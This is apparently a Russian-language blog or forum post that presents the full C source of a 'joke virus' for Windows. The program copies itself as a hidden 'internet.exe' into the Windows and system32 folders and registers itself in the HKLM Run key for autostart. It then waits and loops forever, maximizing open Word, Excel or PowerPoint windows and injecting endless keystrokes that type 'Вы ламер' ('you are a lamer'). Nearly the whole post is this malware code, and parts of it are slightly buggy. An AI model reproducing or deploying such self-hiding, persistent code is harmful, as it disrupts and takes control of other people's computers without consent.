Шуточный вирус

Копался в сорцах и наткнулся на код шуточного вируса, написанный неизвестным автором. Вирус прописывается в автозагрузку и если запущен MS Word , MS Excel или MS Power Point то максимизируется окно и поле редактора текста пишется "Вы ламер". А вот собственно и сам код:

#include "windows.h"

 WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
 {
 HKEY key;
 char sysdir[256],
 windir[256],
 myname[256];

 /*Узнаем свое имя функцией GetModuleFileName. И узнает адрес папки windows и папки system32 функциями GetWindowsDirectory и GetSystemDirectory*/

 GetModuleFileName(hint,myname,256);
 GetWindowsDirectory(windir,sizeof(windir));
 GetSystemDirectory(sysdir,sizeof(sysdir));

 /*Добавляем к строкам содержащим пути к системным папкам имя нашего вируса, чтобы скопировать в эти папки себя.*/

 strcat(windir,"\\internet.exe");
 strcat(sysdir,"\\internet.exe");

 /*Копируемся и ставим себе скрытые атрибуты*/

 CopyFile(myname,windir,FALSE);
 CopyFile(myname,sysdir,FALSE);
 SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
 SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);

 /*Прописываемся в реестр на автозагрузку*/

 RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, key);
 RegSetValueEx(key,"internet.exe",0,REG_SZ,(BYTE *)sysdir,256);
 RegCloseKey(key);

 /*Ожидаем 2 минуты.*/
 Sleep(60000*2); 

 /*Запускаем бесконечный цикл каждые 10 секунд. В цикле ищем окна содержащие в своих заголовках Microsoft Word, Microsoft Excel,Microsoft PowerPoint. Максимизируем окно, переключаем раскладку клавиатуры на русскую и эмулируем нажатие на несколько клавиш. В результате в окне пользователя в WORD сам по себе печатается текст "Вы ламер". */

 do{
 if (FindWindow(NULL, "Microsoft Word")!=0 || FindWindow(NULL, "Microsoft Excel")!=0 || FindWindow(NULL, "Microsoft PowerPoint")!=0)
 {
 ShowWindow(FindWindow(NULL, "Microsoft Word") , SC_MAXIMIZE);
 LoadKeyboardLayout("00000419", KLF_ACTIVATE);
 Sleep(10000);
 do
 {
 keybd_event('D', 0,0,0);
 keybd_event('D', 0,KEYEVENTF_KEYUP,0);
 keybd_event('S', 0,0,0);
 keybd_event('S', 0,KEYEVENTF_KEYUP,0);
 keybd_event(VK_SPACE, 0,0,0);
 keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);
 keybd_event('K', 0,0,0);
 keybd_event('K', 0,KEYEVENTF_KEYUP,0);
 keybd_event('F', 0,0,0);
 keybd_event('F', 0,KEYEVENTF_KEYUP,0);
 keybd_event('V', 0,0,0);
 keybd_event('V', 0,KEYEVENTF_KEYUP,0);
 keybd_event('T', 0,0,0);
 keybd_event('T', 0,KEYEVENTF_KEYUP,0);
 keybd_event('H', 0,0,0);
 keybd_event('H', 0,KEYEVENTF_KEYUP,0);
 }while(1);
 }
 }while(1);
 }